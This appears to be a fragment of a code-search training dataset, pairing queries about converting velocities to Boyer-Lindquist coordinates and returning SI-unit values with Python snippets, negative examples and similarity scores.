[ "0.7311547", "0.71452445", "0.6971911", "0.67958176", "0.6771112", "0.66505325", "0.6608041", "0.6568496", "0.6398689", "0.63865006", "0.6365045", "0.63537866", "0.6316992", "0.6254722", "0.61298764", "0.60265553", "0.60205036", "0.59701353", "0.59636456", "0.59336466", "0.59...
0.7613973
1
Function to convert velocity to BoyerLindquist coordinates
def bl_differential(self, a): r, theta, phi, v_r, v_t, v_p, a = self.convert_bl(a.si.value) return BoyerLindquistDifferential( r * u.m, theta * u.rad, phi * u.rad, v_r * u.m / u.s, v_t * u.rad / u.s, v_p * u.rad / u.s, a...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def vector_coords_to_speed(vel):\n return round(math.sqrt(vel[0]**2 + vel[1]**2 + vel[2]**2),2)", "def getVelocity(self):\n return self.v", "def BaryXV(jday):\n\n jday_min = 2415020.0 # Dec 31st 1899\n jday_max = 2488070.0 # Jan 1st 2100\n\n # Masses of the planets [*** in some unit?].\n # ...
[ "0.61070365", "0.60223526", "0.59349537", "0.5911736", "0.58473176", "0.5817254", "0.57953846", "0.57706666", "0.57327145", "0.5732203", "0.57154965", "0.5713621", "0.5713191", "0.5685953", "0.5685792", "0.5664762", "0.566358", "0.5658571", "0.5646608", "0.5617313", "0.560968...
0.0
-1
Function for returning values in SI units. Returns ~numpy.ndarray Array containing values in SI units (m, rad, rad, m/s, rad/s, rad/s)
def si_values(self): element_list = [ self.r.to(u.m), self.theta.to(u.rad), self.phi.to(u.rad), self.v_r.to(u.m / u.s), self.v_t.to(u.rad / u.s), self.v_p.to(u.rad / u.s), ] return np.array([e.value for e in element_list], d...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def unit_array(self):\n return self._data_array.values * units(self._units)", "def si_values(self):\n element_list = [\n self.x.to(u.m),\n self.y.to(u.m),\n self.z.to(u.m),\n self.v_x.to(u.m / u.s),\n self.v_y.to(u.m / u.s),\n self.v...
[ "0.6597943", "0.649187", "0.63240147", "0.6257522", "0.6255147", "0.6213908", "0.6213201", "0.6091031", "0.60509723", "0.58182454", "0.55522114", "0.55494267", "0.55082214", "0.54812056", "0.5480648", "0.54716265", "0.54494315", "0.5425861", "0.53436226", "0.5266943", "0.5266...
0.6856912
1